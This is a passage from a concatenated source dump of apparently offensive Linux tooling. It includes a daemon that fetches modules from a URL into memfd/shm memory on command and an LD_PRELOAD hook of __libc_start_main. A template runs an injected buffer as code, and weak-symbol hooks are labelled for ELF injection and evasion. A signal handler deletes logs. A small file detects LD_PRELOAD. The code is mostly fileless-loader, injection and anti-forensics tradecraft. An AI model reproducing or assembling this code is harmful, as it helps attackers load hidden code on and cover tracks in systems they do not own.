int main_hook(int argc, char **argv, char **envp)
{
    for (int i = 0; i < argc; ++i) {
        printf("argv[%d] = %s\n", i, argv[i]);
    }
    printf(">__libc_start: main_hook\n");
    int ret = main_orig(argc, argv, envp);
    printf("< hook exited .. \n");
    return ret;
}

/*
 * Wrapper for __libc_start_main() that replaces the real main
 * function with our hooked version.
 */
int __libc_start_main(
    int (*main)(int, char **, char **),
    int argc,
    char **argv,
    int (*init)(int, char **, char **),
    void (*fini)(void),
    void (*rtld_fini)(void),
    void *stack_end)
{
    /* Save the real main function address */
    main_orig = main;

    /* Find the real __libc_start_main()... */
    typeof(&__libc_start_main) orig = dlsym(RTLD_NEXT, "__libc_start_main");

    /* ... and call it with our custom main function */
    return orig(main_hook, argc, argv, init, fini, rtld_fini, stack_end);
}


<|start_filename|>zafsrv/src/zutil.c<|end_filename|>
#include "zutil.h"

// Detect if kernel is < or => than 3.17
// Op_nomad: modded fallback, syscall checks
//
// return 0 - POSIX shm only , 1 - memfd_create supported
// 
int setKernel() {

    struct utsname buffer;
    char   *token;
    char   *separator = ".";
    int    memfdcheck;
       

    if (uname(&buffer) != 0) {
      log_error("KVersion: Unable to use utsname. Assume fallback");
    }

    log_info("\tsystem name = %s", buffer.sysname);
    log_info("\tnode name   = %s", buffer.nodename);
    log_info("\trelease     = %s", buffer.release);
    log_info("\tversion     = %s", buffer.version);
    log_info("\tmachine     = %s", buffer.machine);

    // Quick 
    memfdcheck = syscall(SYS_memfd_create, "", 1);
    if (memfdcheck != -1 ){
        close(memfdcheck);
        memfdcheck = 1; // memfd_create syscall available
    }

    token = strtok(buffer.release, separator);
    memfd_kv_s.major = atoi(token);
    log_debug("KVersion: release major: %d", memfd_kv_s.major);

    token = strtok(NULL, separator);
    memfd_kv_s.minor = atoi(token);
    log_debug("KVersion: release minor: %d", memfd_kv_s.minor);

    if (memfd_kv_s.major < 3) {
       memfd_kv_s.memfd_supp = 0;   // shm only
       return 0;
    }
    else if ( memfd_kv_s.major > 3){
      if (memfdcheck == 1) {
          memfd_kv_s.memfd_supp = 1; // TODO: WARNING!!!! only set to 0 for shm testing. change it back to 1 for proper.
          return 1;                  // TODO: WARNING!!!! only set to 0 for shm testing. change it back to 1 for proper.
      }
      memfd_kv_s.memfd_supp = 0;
    }

    if ( memfd_kv_s.minor < 17) {
        memfd_kv_s.memfd_supp = 0;   // shm only
        return 0;
    }
    else {
      if (memfdcheck == 1) {    
          memfd_kv_s.memfd_supp = 1;  // TODO: WARNING!!!! only set to 0 for shm testing. change it back to 1 for proper.
          return 1;                   // TODO: WARNING!!!! only set to 0 for shm testing. change it back to 1 for proper.
      }
      memfd_kv_s.memfd_supp = 0;
      return 0;
    }
}

// TODO: implement true rand
// TODO: paramterize size of string
void gen_random(char *s, const int len) {
    static const char alphanum[] =
        "0123456789"
        "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
        "abcdefghijklmnopqrstuvwxyz";

    for (int i = 0; i < len; ++i) {
        s[i] = alphanum[rand() % (sizeof(alphanum) - 1)];
    }

    s[len] = 0;
}

void cleanup(int cleanLog){
    struct stat sb;

    if (fp != NULL){
        fclose (fp);
    }

    if (cleanLog) {
        if (lstat(logFile, &sb) != -1){
            unlink(logFile);
        }
    }
}


<|start_filename|>src/weakref_chained.c<|end_filename|>
#include "weakref_so.h"

void debug(){
    printf("Weakref Lib1: debug()\n");
    fflush(stdout);

    if (mstat) {
        printf("Weakref Lib1: debug: calling chained mstat()\n");
        mstat();
    }
    else {
        printf("debug: mstat() NOT AVAILABLE\n");
    }


    fflush(stdout);
}


<|start_filename|>src/msptso.h<|end_filename|>
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <setjmp.h>
#include <unistd.h>
#include "prename/spt_status.h"


void doWork(void);
void setSigHandler(int sleep_interval);
void handleSigHup(int signal);

void fpe_handler(int signal, siginfo_t *w, void *a);
void try_division(int x, int y);

static sigjmp_buf fpe_env;


<|start_filename|>zafsrv/src/zsignals.c<|end_filename|>
#include "zsignals.h"

volatile sig_atomic_t sigflag  = 0; 

void setSignalHandlers(){
    signal(SIGHUP,  handleSig);
    signal(SIGUSR1, handleSig);
    signal(SIGUSR2, handleSig);
    signal(SIGINT,  handleSig);
    signal(SIGTERM, handleSig);
}

void handleSig(int signo) {
    /*
     * Signal safety: It is not safe to call clock(), printf(),
     * or exit() inside a signal handler. Instead, we set a flag.
     */
    switch(signo){
        case SIGHUP:
            log_warn("Signal handler got SIGHUP signal ... ");
            sigflag=1;
            doSigHup();
            break;
        case SIGUSR1:
            log_warn("Signal handler got SIGUSR1 signal ... ");
            sigflag=2;
            doSigUsr1();
            break;
        case SIGUSR2:
            log_warn("Signal handler got SIGUSR1 signal ... ");
            sigflag=3;
            doSigUsr2();
            break;
        case SIGINT:
            log_warn("Signal handler got SIGINT signal ... ");
            sigflag=4;
            doSigInt();
            break;
        case SIGTERM:
            log_warn("Signal handler got SIGTERM signal ... ");
            sigflag=5;
            doSigTerm();
            break;
    }
}

void doSigHup(void){
    sigflag = 1;
    log_debug("Executing SIGHUP code here ...");
}
void doSigUsr1(void){
    sigflag = 2; // check or reset
    log_debug("== Stats: \tPID: %d, Log: %s ==", getpid(), logFile);
    log_debug("Executing SIGUSR1 code here ...");
}
void doSigUsr2(void){
    sigflag = 3; // check or reset
    log_debug("Executing SIGUSR2 code here ...");
    log_set_level(1); // increase logging to DEBUG
}
void doSigInt(void){
    sigflag = 4; // check or reset
    log_debug("Executing SIGINT code here ...");
    log_debug("=== ZAF down ===");
    cleanup(0); // leave log intact
    exit(0);
}
void doSigTerm(void){
    sigflag = 5; // check or reset
    log_debug("Executing SIGTERM code here ...");
    log_debug("=== ZAF down ===");
    // - logrotate log
    // - Send log offsite
    cleanup(1); // remove log
    exit(0);
}



<|start_filename|>src/shim.go<|end_filename|>
// go build -o shim.so -buildmode=c-shared shim.go
package main


import "C"

import (
	"fmt"
)

var count int

//export Entry
func Entry(msg string) int {
	fmt.Println(msg)
	return count
}

func main() {}



<|start_filename|>src/mctor.c<|end_filename|>
#include "mctrso.h"


void before_main(void) __attribute__((constructor (101)));
void before_main(void)
{

    /* This is run before main() */
    printf("Before main()\n");

}

//delayed invocation
void after_main(void) __attribute__((destructor (101)));
void after_main(void)
{

    /* This is run after main() returns (or exit() is called) */
    printf("After main()\n");

}



<|start_filename|>zafsrv/Makefile<|end_filename|>
all:
	$(MAKE) -C ./src
clean:
	$(MAKE) -C ./src clean



<|start_filename|>zafsrv/include/zservice.h<|end_filename|>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

#include "log.h"


#define DAEMON_CHDIR "/tmp"                // daemon directory to operate from 


extern void  setSignalHandlers(void);
extern void  doWork(void);
extern char  *logFile;

int backgroundDaemonLeader(void);



<|start_filename|>zafsrv/include/zparams.h<|end_filename|>
#include <stdio.h>

#ifndef Z_PARAMS
#define Z_PARAMS

#define SHM_NAME_MAX 254                   
#define MAX_BUF 1024          // command buffer

#endif


<|start_filename|>src/main_ldprotect.c<|end_filename|>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/stat.h>

#ifdef LD_PROTECT


#define BUFFER_SIZE 256

// Avoid to use libc strstr
// Return a pointer after the first location of sub in str
char* afterSubstr(char *str, const char *sub)
{
    int i, found;
    char *ptr;
    found = 0;
    for(ptr = str; *ptr != '\0'; ptr++)
    {
        found = 1;
        for(i = 0; found == 1 && sub[i] != '\0'; i++)
            if(sub[i] != ptr[i])
                found = 0;
        if(found == 1)
            break;
    }
    if(found == 0)
        return NULL;
    return ptr + i;
}

// Try to match the following regexp: libname-[0-9]+\.[0-9]+\.so$
// Not using any libc function makes that code awful, I know
int isLib(char *str, const char *lib)
{
    int i, found;
    static const char *end = ".so\n";
    char *ptr;
    // Trying to find lib in str
    ptr = afterSubstr(str, lib);
    if(ptr == NULL)
        return 0;
    // Should be followed by a '-'
    if(*ptr != '-')
        return 0;
    // Checking the first [0-9]+\.
    found = 0;
    for(ptr += 1; *ptr >= '0' && *ptr <= '9'; ptr++)
        found = 1;
    if(found == 0 || *ptr != '.')
        return 0;
    // Checking the second [0-9]+
    found = 0;
    for(ptr += 1; *ptr >= '0' && *ptr <= '9'; ptr++)
        found = 1;
    if(found == 0)
        return 0;
    // Checking if it ends with ".so\n"
    for(i = 0; end[i] != '\0'; i++)
        if(end[i] != ptr[i])
            return 0;
    return 1;
}

int detectInMaps()
{
    FILE *memory_map;
    char buffer[BUFFER_SIZE];
    int after_libc = 0;
	int detected = 0;

    memory_map = fopen("/proc/self/maps", "r");
    if(memory_map == NULL)
    {
        printf("/proc/self/maps is unaccessible, probably a LD_PRELOAD attempt\n");
        detected = 1; return detected;
    }
    // Read the memory map line by line
    // Try to look for a library loaded in between the libc and ld
    while(fgets(buffer, BUFFER_SIZE, memory_map) != NULL)
    {
        // Look for a libc entry
        if(isLib(buffer, "libc"))
            after_libc = 1;
        else if(after_libc)
        {
            // Look for a ld entry
            if(isLib(buffer, "ld"))
            {
                // If we got this far then everythin is fine
                printf("Memory maps are clean\n");
                break;
            }
            // If it's not an anonymous memory map
            else if(afterSubstr(buffer, "00000000 00:00 0") == NULL)
            {
                // Something has been preloaded by ld.so
                printf("LD_PRELOAD detected through memory maps\n");
        		detected =1;
                break;
            }
        }
    }

    return detected;
}

static void preinit(int argc, char **argv, char **envp) {
    puts(__FUNCTION__);

	// Pass 1a: env is not setup fail
	if(getenv("LD_PRELOAD")){
        printf("LD_PRELOAD detected through getenv()\n");
		exit(1);
    }
    else{
        printf("Environment is clean\n");
	}

    if(open("/etc/ld.so.preload", O_RDONLY) > 0){
        printf("/etc/ld.so.preload detected through open()\n");
		exit(1);
	}
    else{
        printf("/etc/ld.so.preload is not present\n");
	}

	// Pass 1b: 

	if (detectInMaps())
		exit(1);
}
#else
static void preinit(int argc, char **argv, char **envp) {
    puts(__FUNCTION__);
}
#endif


static void init(int argc, char **argv, char **envp) {
    puts(__FUNCTION__);
}

static void fini(void) {
    puts(__FUNCTION__);
}


__attribute__((section(".preinit_array"), used)) static typeof(preinit) *preinit_p = preinit;
__attribute__((section(".init_array"), used)) static typeof(init) *init_p = init;
__attribute__((section(".fini_array"), used)) static typeof(fini) *fini_p = fini;

int main(void) {
    puts(__FUNCTION__);

	// Pass 2: detected 
	if(getenv("LD_PRELOAD")){
        printf("Main check: LD_PRELOAD detected through getenv()\n");
		exit(1);
    }
    return 0;
}


<|start_filename|>zafsrv/src/zcommander.c<|end_filename|>
#include "zcommander.h"

// TODO: is there a better way to handle commands as the grow. Also, refactor
int processCommandReq (int sock, node_t * head) {
   int  n = 0;
   char buffer[MAX_BUF];
   int  status = 0;

   cJSON * root         = NULL;
   cJSON * cmdName      = NULL;

   cJSON * loadmod_arg  = NULL;
   cJSON * loadmod_args = NULL;
   cJSON * modUrl       = NULL;
   cJSON * modName      = NULL;


   bzero(buffer,MAX_BUF);
   n = read(sock,buffer,MAX_BUF-1);

   if (n < 0) {
      log_error("Error reading from socket");
      return -1;
   }

   log_info("Request payload: >> %s <<",buffer);

   // Rudimentary checks for JSON. this library is SIGSEGV if invalid. We take that chance for now.
   // TODO: test if needed since wwe have implemented cJSON_Parse()
   if ( strchr(buffer, '}') == NULL \
                || strchr(buffer, '{') == NULL  \
                || strchr(buffer, '"') == NULL ){

        log_debug("Possibly invalid JSON, not parsing: %s", buffer); // not processing
        return 1;
   }

   root = cJSON_Parse(buffer);

   if (root == NULL)
   {
        log_warn("JSON: Error parsing");
        status=1;
        goto end;
   }

   cmdName = cJSON_GetObjectItemCaseSensitive(root, "command");

   if (cJSON_IsString(cmdName) && (cmdName->valuestring != NULL))
   {
     if (strcmp(cmdName->valuestring, "listmod") == 0) // TODO: allow short condensed string
     {
       log_debug("[Command] : %s", cmdName->valuestring);
       write_modlist(head, sock);
       status=1;
       goto end;

     }
     else if (strcmp(cmdName->valuestring, "loadmod") == 0)
     {

       loadmod_args = cJSON_CreateArray();
       if (loadmod_args == NULL)
       {
           log_debug("[Command] loadmod : cJSON_CreateArray()");
           status=1;
           goto end;
       }

       log_debug("[Command] : %s", cmdName->valuestring);
       loadmod_args = cJSON_GetObjectItemCaseSensitive(root, "args");
       cJSON_ArrayForEach(loadmod_arg, loadmod_args)
       {
           modUrl = cJSON_GetObjectItemCaseSensitive(loadmod_arg, "modurl");
           log_debug("[Command] : modurl (%s)", modUrl->valuestring);
           load_mod(head, modUrl->valuestring);
           goto end;
       }
     }
     else if (strcmp(cmdName->valuestring, "unloadmod") == 0)
     {
       loadmod_args = cJSON_CreateArray();
       if (loadmod_args == NULL)
       {
           log_debug("[Command] loadmod : cJSON_CreateArray()");
           status=1;
           goto end;
       }

       log_debug("[Command] : %s", cmdName->valuestring);
       loadmod_args = cJSON_GetObjectItemCaseSensitive(root, "args");
       cJSON_ArrayForEach(loadmod_arg, loadmod_args)
       {
           modName = cJSON_GetObjectItemCaseSensitive(loadmod_arg, "modname");
           log_debug("[Command] : modname (%s)", modName->valuestring);
           unload_mod(head, modName->valuestring);
           goto end;
       }
     }
     else {
       log_debug("Command request (%s)", cmdName->valuestring);
     }
   }

end:
   cJSON_Delete(root);

   return status;

}

// Command socket setup
int setupCmdP(void){

    // TODO: Allow Unix domain sockets
    unsigned int portno, clilen, sockfd, newsockfd;
    struct sockaddr_in serv_addr, cli_addr; // AF_INET
    // struct sockaddr_un serv_addr_un; // AF_UNIX
    int one = 1;

    /* First call to socket() function */
    sockfd = socket(AF_INET, SOCK_STREAM, 0); // AF_INET
    // sockfd = socket(AF_UNIX, SOCK_STREAM, 0);   // AF_UNIX

    if (sockfd < 0) {
      log_error("Error opening socket()");
      return -1;
    }


    bzero((char *) &serv_addr, sizeof(serv_addr));
    portno = 0; // random port // TODO: parameterize

    serv_addr.sin_family = AF_INET;
    serv_addr.sin_addr.s_addr = htonl(0x7f000001L); // 127.0.0.1 // TODO: parameterize
    serv_addr.sin_port = htons(portno);

    if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) {
      log_error("Error on bind()");
      return -1; // TODO: make a pass to check all return codes to make them consistent
    }
    setsockopt(sockfd, SOL_TCP, TCP_NODELAY, &one, sizeof(one));
    listen(sockfd,5); // TODO: paramterize

    log_info("Listening on port"); // TODO: provide the port
    clilen = sizeof(cli_addr);

    /* AF_UNIX 
    bzero((char *) &serv_addr_un, sizeof(serv_addr_un));
    strcpy(serv_addr_un.sun_path, "/tmp/zsock");
    listen(sockfd,5);
    */

    while (1) {
        
      log_info("Accepting requests");
      newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);

      if (newsockfd < 0) {
         log_error("Error on accept()");
         continue;
      }

      // We are not forking as we want to to preserve the PID for /proc/ FD's
      processCommandReq(newsockfd, head);
      close(newsockfd);
    }

    return 0;
}



<|start_filename|>src/aslr_cradle_template.c<|end_filename|>
#include <stdio.h>            
#include <string.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>          

#include <sys/types.h>
#include <sys/stat.h>
#include <signal.h>
#include <fcntl.h>


#define DAEMON_CHDIR "/tmp"

int daemonize(char *buf);

//gcc -z execstack -o template template.c
void main() { 
    char *key = "secret"; // sample data to read
    char *buf = (char*)calloc(400, sizeof(char)); // 400 codecave sample
    char *bufc = (char*)calloc(1, sizeof(char)); 

    printf("pid: %d\n", getpid()); 
    printf("key: %p\n", key); 
    printf("buf: %p\n", buf); 

    printf("Sleeping letting parent catch up\n");
    sleep(1);

#ifndef T_DEBUG
    int result = 0; 
    while ( (result = memcmp(buf, bufc, 1)) == 0 ){
        printf("Sleeping waiting for injection\n");
        sleep(3);
    }
    printf("Injection requested!\n");
#endif
    daemonize(buf);
}

int daemonize(char *buf){

    // Fork, allowing the parent process to terminate.
    pid_t pid = fork();
    if (pid == -1) {
        // after first fork(), unsuccessful. exiting with error.
        _exit(1);
    } else if (pid != 0) {
        // after first fork() in parent. exiting by choice.
        _exit(0);
    }

    // Start a new session for the daemon.
    if (setsid()==-1) {
         // failed to become a session leader while daemonising
         ;
    }

    // Fork again, allowing the parent process to terminate.
    signal(SIGCHLD, SIG_IGN); // avoid defunct processes. 
    pid=fork();
    if (pid == -1) {
        // after second fork(), unsuccessful. exiting with error.
        _exit(1);
    } else if (pid != 0) {
        // after second fork() in parent. exiting by choice.
        _exit(0);
    }

    // Set the current working directory to the root directory.
    chdir(DAEMON_CHDIR); // do nothing if it cannot do so, or maybe attempt to chdir elsewhere

    // Set the user file creation mask to zero.
    umask(0);

    /*
    close(STDIN_FILENO);
    close(STDOUT_FILENO);
    close(STDERR_FILENO);

    // Reopen STDIN/OUT/ERR to Null
    if (open("/dev/null",O_RDONLY) == -1) {
      log_error("Daemon: failed to reopen stdin while daemonising (errno=%d)",errno);
    }
    if (open("/dev/null",O_WRONLY) == -1) {
      log_error("Daemon: failed to reopen stdout while daemonising (errno=%d)",errno);
    }
    if (open("/dev/null",O_RDWR) == -1) {
         log_error("Daemon: failed to reopen stderr while daemonising (errno=%d)",errno);
    }
    */

#ifndef T_DEBUG
    ((void (*) (void)) buf) ();
#else
    sleep(10000000);
#endif
    return 0;
}


<|start_filename|>src/main_init.c<|end_filename|>
#include <stdio.h>

static void init(int argc, char **argv, char **envp) {
    printf("> %s\n", __FUNCTION__);
}

static void fini(void) {
    printf("< %s\n", __FUNCTION__);
}


__attribute__((section(".init_array"), used)) static typeof(init) *init_p = init;
__attribute__((section(".fini_array"), used)) static typeof(fini) *fini_p = fini;

int main(void) {
    printf("\t%s\n", __FUNCTION__);
    return 0;
}


<|start_filename|>zafsrv/include/zcommander.h<|end_filename|>
#include <string.h>
#include <unistd.h>
#include <cJSON.h>


#include <netinet/in.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/tcp.h>

#include "zstructs.h"
#include "log.h"


extern void write_modlist(node_t * head, int sock);
extern int  unload_mod(node_t * head, char * name);
extern int  load_mod(node_t * head, char * url);


int processCommandReq (int sock, node_t * head);


<|start_filename|>zafsrv/include/zmodules.h<|end_filename|>
#include <string.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>


#include <curl/curl.h>

#include "log.h"
#include "zparams.h"
#include "zstructs.h"
#include "zmemfd.h"


extern int url2fd(char *downloadUrl, Shared_Mem_Fd * smf);
extern int setMemfdTbl(int shm_fd, char* mname);
extern int open_ramfs(Shared_Mem_Fd * smf);



int  check_empty(node_t * head);
int  list_sz(node_t * head);
int  mod_name2fd(node_t * head, char * name, int loaded);
void write_modlist(node_t * head, int sock);
int  unload_mod(node_t * head, char * name);
int  find_mod(node_t * head, char * name);
int  load_mod(node_t * head, char * url);
int  mark_delete_mod(node_t * head, int fd);
int  push_first(node_t * head, int shm_fd, char* path, char* mname, char mstate[]);
int  push(node_t * head, int shm_fd, char* path, char* mname, char mstate[]);
void cleanup_mod_resources(int shm_fd);



<|start_filename|>src/weakref_so.h<|end_filename|>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/wait.h>
#include <sys/types.h>

void debug() __attribute__((weak));
void mstat() __attribute__((weak));
void __gmon_start__() __attribute__((weak));
void __cxa_finalize() __attribute__((weak));
void _Jv_RegisterClasses() __attribute__((weak));


<|start_filename|>zafsrv/src/zservice.c<|end_filename|>
#include "zservice.h"

int backgroundDaemonLeader(void){

    // Fork, allowing the parent process to terminate.
    log_debug("Daemon: before first fork()");
    pid_t pid = fork();
    log_debug("Daemon: after first fork()");
    if (pid == -1) {
        log_error("Daemon: failed to fork while daemonising (errno=%d)",errno);
    } else if (pid != 0) {
        log_debug("Daemon: after first fork(0 in parent. exiting.");
        _exit(0);
    }

    // Start a new session for the daemon.
    log_debug("Daemon: before setsid()");
    if (setsid()==-1) {
        log_error("Daemon: failed to become a session leader while daemonising(errno=%d)",errno);
    }

    // Fork again, allowing the parent process to terminate.
    //signal(SIGHUP,SIG_IGN);
    log_trace("Daemon: setting up SIGCHLD");
    signal(SIGCHLD, SIG_IGN); // avoid defunct processes. 
    log_trace("Daemon: before second fork()");
    pid=fork();
    log_trace("Daemon: after second fork()");
    if (pid == -1) {
        log_error("Daemon: failed to fork while daemonising (errno=%d)",errno);
    } else if (pid != 0) {
        log_trace("Daemon: after first fork() in parent. exiting.");
        _exit(0);
    }

    // Set the current working directory to the root directory.
    log_trace("Daemon: before chdir()");
    if (chdir(DAEMON_CHDIR) == -1) {
        log_error("Daemon: failed to change working directory while daemonising (errno=%d)",errno);
    }

    // Set the user file creation mask to zero.
    log_trace("Daemon: before umask()");
    umask(0);

    log_trace("Daemon: before close() FD 0,1,2");
    close(STDIN_FILENO);
    close(STDOUT_FILENO);
    close(STDERR_FILENO);

    // Reopen STDIN/OUT/ERR to Null
    if (open("/dev/null",O_RDONLY) == -1) {
      log_error("Daemon: failed to reopen stdin while daemonising (errno=%d)",errno);
    }
    if (open("/dev/null",O_WRONLY) == -1) {
      log_error("Daemon: failed to reopen stdout while daemonising (errno=%d)",errno);
    }
    if (open("/dev/null",O_RDWR) == -1) {
         log_error("Daemon: failed to reopen stderr while daemonising (errno=%d)",errno);
    }
    log_trace("Daemon: after reopen FD 0,1,2 set to /dev/null");

    log_debug("Daemon: Setting signal handlers");
    log_trace("Daemon: before signal handlers");

    setSignalHandlers();
    log_trace("Daemon: after signal handlers");
    log_trace("Daemon: before doWork()");

    return 0;
}


<|start_filename|>src/weakref.c<|end_filename|>
#include "weakref_so.h"

static int gmon_ct=0, cxa_ct=0;

// Weak ref check example. Alternative to dlopen()
void debug(){
    printf("debug()\n");
    fflush(stdout);

    if (mstat) {
        printf("debug: stat()\n");
        mstat();
    }
    else {
        printf("debug: ---\n");
    }


    fflush(stdout);
}

// Injection to any ELF
void __gmon_start__(){
	 if (gmon_ct < 1 ){
	   printf("in __gmon_start__ weak hook\n");
	   gmon_ct++;

	 }else{
	   printf("in __gmon_start__ weak hook but already started\n");
	 }


}

// Evasion trampoline (atexit hook)
void __cxa_finalize() {
	 if (cxa_ct < 1 ){
		 printf("in __cxa_finalize weak hook\n");
		 cxa_ct++;

	 }else{
		 printf("in __cxa_finalize weak hook but already started\n");
	 }
}

// Java Jni
void _Jv_RegisterClasses() {
		 printf("in _Jv_RegisterClasses weak hook\n");
}




<|start_filename|>zafsrv/include/zsignals.h<|end_filename|>
#include <stdlib.h>
#include <signal.h>
#include <sys/types.h>
#include <unistd.h>


#include "log.h"

void setSignalHandlers(void);
void handleSig(int signo);
void doSigHup(void);
void doSigUsr1(void);
void doSigUsr2(void);
void doSigInt(void);
void doSigTerm(void);

extern void cleanup(int removelog);
extern char *logFile;


<|start_filename|>src/psrename.c<|end_filename|>
#include <stdio.h> 
#include <stdlib.h> 
#include <string.h> 
#include <sys/ipc.h> 
#include <sys/msg.h> 
  

#define MAX_MESG 128
// structure for message queue 
struct mesg_buffer { 
    long mesg_type; 
    char mesg_text[MAX_MESG]; 
} message; 
  
int main(int argc, char *argv[]) 
{ 

	 if (argc != 3){
		 fprintf(stderr, "Usage: %s <key> <name[MAX_MESG:%d]>\n", argv[0], MAX_MESG);
		 exit(1);	
	 }

    int seed = atoi(argv[1]); 
    key_t key = ftok(".", seed);
    int msgid = msgget(key, 0666 | IPC_CREAT);
  
    message.mesg_type = 1; 

	 strncpy(message.mesg_text, argv[2], MAX_MESG);
    // display the message 
    printf("Sending to MSGID %d: %s \n", msgid, message.mesg_text); 
  
    // msgsnd to send message 
    msgsnd(msgid, &message, sizeof(message), 0); 
  
    return 0; 
}


<|start_filename|>zafsrv/src/zmodules.c<|end_filename|>
#include "zmodules.h"

// TODO: try to implement node deletion 
int check_empty(node_t * head){
    int empty  = (head == NULL) ? 0 : 1;
    return empty;
}

int list_sz(node_t * head) {
    node_t * current = head;
    int c = 1;
    while (current != NULL) {
        c++;
        current = current->next;
    }
    return c;
}

int mod_name2fd(node_t * head, char * name, int loaded) {
    node_t * current = head;
    int found=0;

    while (current != NULL) {
        if ( strncmp(current->mname, name, sizeof(current->mname)) == 0){
          log_debug("FindMod: found entry %s", current->mname);

          if (loaded){
              if (strncmp(current->mstate,"U", strlen("U")) == 0 ){
                  current = current->next;
                  continue; 
              }
              found=1;
              break;
              
          }else{
            found=1;
            break;
          }
        }
        current = current->next;
    }

    if (found){
        return current->fd; 
    }
    return 0;
}

char * mod_name2path(node_t * head, char * name) {
    node_t * current = head;
    char * empty = "";
    int found=0;

    while (current != NULL) {
        if ( strncmp(current->mname, name, sizeof(current->mname)) == 0){
          log_debug("FindMod: found entry %s", current->mname);
          found=1;
          break;
        }
        current = current->next;
    }

    if (found){
        return strdup(current->mpath); 
    }
    return empty;
}

void write_modlist(node_t * head, int sock) {
    node_t * current = head;
    int n, ret;
    char * entry;

    if (current == NULL) {
        n = write(sock,"",1);
        if (n < 0)
          log_error("Error writing to socket");
    }

    while (current != NULL) {
        entry = calloc(1, MAX_BUF);

		ret = snprintf(entry, MAX_BUF-1, "%d :(%s): %s : %s\n", current->fd, current->mstate, current->mpath, current->mname);
        if (ret < 0) {
         free(entry);
         continue;
        }

        n = write(sock,entry,strlen(entry));

        if (n < 0) {
          log_error("Error writing to socket");
        }
        free(entry);
        current = current->next;
    }
}

int unload_mod(node_t * head, char * name) {
    int modfd   = 0;
    int status  = 0;
    int loaded  = 1; // TODO: why is it here? 

    modfd = mod_name2fd(head, name, loaded);
    if ( modfd != 0 ){
       log_debug("Worker: Module fd found %d", modfd);
       status = 1;
       log_debug("Worker: Closing OS process fd %d", modfd);
       cleanup_mod_resources(modfd);
       //log_debug("Worker: Removing data from memory for fd %d", modfd);
       //mark_delete_mod(head, modfd); // from ShmMemTbl
    }else{
       log_debug("Worker: Module fd not found");
    }

    return status;
}

int find_mod(node_t * head, char * name) {
    
    char* modname   = NULL;
    int   status    = 0;

    modname = mod_name2path(head, name);
    if ((modname != NULL) && (modname[0] != '\0')) {
        log_debug("Worker: Module found %s", modname);
        status = 1;
    }else{
        log_debug("Worker: Module not found %s", modname);
    }

    return status;
}

// TODO: is load the same as activate? Should we have it as separate action?
int load_mod(node_t * head, char * url) {

    CURLU       *h;
    CURLUcode   uc;
    char        *path=NULL, *fileName=NULL;
    int         uresp=0, sresp=0;

    Shared_Mem_Fd shm_fd_s = {
        .shm_fd=0, 
        .shm_file=NULL,
        .shm_fname={0}, 
        .shm_mname={0}, 
        .shm_type=0 
    };

    h = curl_url();
    if(!h){
        log_debug("LoadMod: Unable to get cURL object\n");
        return 1;
    }

    uc = curl_url_set(h, CURLUPART_URL, url, 0);
    if(uc)
      goto clean;


    // Get file name
    uc = curl_url_get(h, CURLUPART_PATH, &path, 0);
    if(!uc) {
        log_debug("Path: %s (%d)b\n", path, strlen(path));
        if (path[0] == '/') {// remove slash
            fileName = calloc(strlen(path)-1, sizeof(char));
            memcpy(fileName, path+1, strlen(path)-1);
        }
    }
    //
    // Save fileName in object record
    if ( strlen(fileName) < SHM_NAME_MAX ){
        memcpy(shm_fd_s.shm_fname, fileName, strlen(fileName) );
    }else{
        memcpy(shm_fd_s.shm_fname, fileName, SHM_NAME_MAX -1 );
    }

    // TODO: decide between shm_fd and status as return since we set up shm_fd via the struct passed in
	sresp = open_ramfs(&shm_fd_s); // Give me a file descriptor to memory

    if ( sresp == 0 ){ // memory not allocated - return
	    log_debug("RamWorker: File Descriptor Shared Memory NOT created! Bailing.");
        return sresp;
    }

    // Download file to memory
    log_debug("LoadMod: Downloading %s -> %s", url, path);
    uresp = url2fd(url, &shm_fd_s);
    if (uresp != 0){
        log_debug("LoadMod: fetched OK, setting Mem table");
        setMemfdTbl(shm_fd_s.shm_fd, fileName);
    }else{
        log_debug("LoadMod: url2fd failed, reclaiming resources");
        cleanup_mod_resources(shm_fd_s.shm_fd);
    }

clean:
    free(fileName);
    curl_free(path);
    curl_url_cleanup(h); /* free url handle */

    return 0;
}

//delete a link with given key
// TODO: implement size and type in status
int mark_delete_mod(node_t * head, int fd) {

   node_t * current = head;
   int status       = 0;
   char state[]     = "U";

   if(head == NULL)
      return status;

   while (current != NULL) {
      if ( current->fd == fd ){ // found
          strncpy(current->mstate, state, strlen(state));
      }
      current = current->next;
   }

   return status;
}

int push_first(node_t * head, int shm_fd, char* path, char* mname, char mstate[]) {

    log_debug("ModTable: Adding path %s, strlen(path): %d name: %s strlen(name): %d", path, strlen(path), mname, strlen(mname));
    head->fd = shm_fd;
    strncpy(head->mpath, path, strlen(path));
    strncpy(head->mname, mname, strlen(mname));
    strncpy(head->mstate, mstate, strlen(mstate));
    head->next = NULL;
    log_debug("ModTable: Added: %s : %s", head->mname, head->mpath);

    return 0;
}

int push(node_t * head, int shm_fd, char* path, char* mname, char mstate[]) {
    node_t * current = head;

    log_debug("ModTable: Adding path %s, strlen(path): %d name: %s strlen(name): %d", path, strlen(path), mname, strlen(mname));

    while (current->next != NULL) {
        current = current->next;
    }

    current->next = calloc(1,sizeof(node_t));
    if (current == NULL) {
        log_fatal("ModTable: calloc() failed");
        return 1;
    }

    current->next->fd = shm_fd;
    strncpy(current->next->mpath, path, strlen(path));
    strncpy(current->next->mname, mname, strlen(mname));
    strncpy(current->next->mstate, mstate, strlen(mstate));
    current->next->next = NULL;
    log_debug("ModTable: entry: %s : %s", current->mname, current->mpath);

    return 0;
}

void cleanup_mod_resources(int shm_fd){

    char procpath[1024]; // TODO: what should this be? parameterize
    char *shmpath;
    struct stat sb;
    

    // shm option: cleanup lingering file in /dev/shm
    if (memfd_kv_s.memfd_supp == 0) { 
        snprintf(procpath, 1024, "/proc/%d/fd/%d", getpid(), shm_fd);

        if (lstat(procpath, &sb) != -1){
